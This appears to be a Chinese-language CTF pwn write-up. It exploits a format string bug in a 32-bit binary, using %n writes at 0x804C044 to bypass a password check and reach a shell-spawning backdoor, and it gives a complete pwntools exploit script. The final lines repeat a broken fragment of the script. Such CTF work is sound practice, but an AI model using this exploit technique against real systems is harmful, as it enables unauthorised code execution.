判断附件相关信息:
Arch:i386-32-little:32位小端序(数值低位放在内存低地址)
保护机制:
咲夜南梦师傅:
Linux-编译保护 | 咲夜南梦’s 博客 (196011564.github.io)
利用格式化字符串漏洞覆盖dword_804C044处内存,输入passwd时使if判断句成立即可调用后门函数获取系统权限。
格式化字符串漏洞:
原理介绍 - CTF Wiki (ctf-wiki.org)
栈:第一个变量为返回地址,第二个变量为格式化字符串,第三个变量开始为参数,相对格式化字符串偏移40字节。
构造payload:
//成功输出16个字符,即0x10。
payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+='%10$n%11$n%12$n%13$n'
%n:不输出字符,把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
%$:定位参数符
wp:
from pwn import *
context.os = 'linux'
context.arch = 'i386'
context.log_level = 'debug'
# io = process('./PWN51')
io = remote('redirect.do-not-trust.hacking.run',10156)
payload = p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload += b'%10$n%11$n%12$n%13$n'
io.sendline(payload)
io.sendline(str(0x10101010))
io.interactive()
ad)
io.sendline(str(0x10101010))
io.interactive()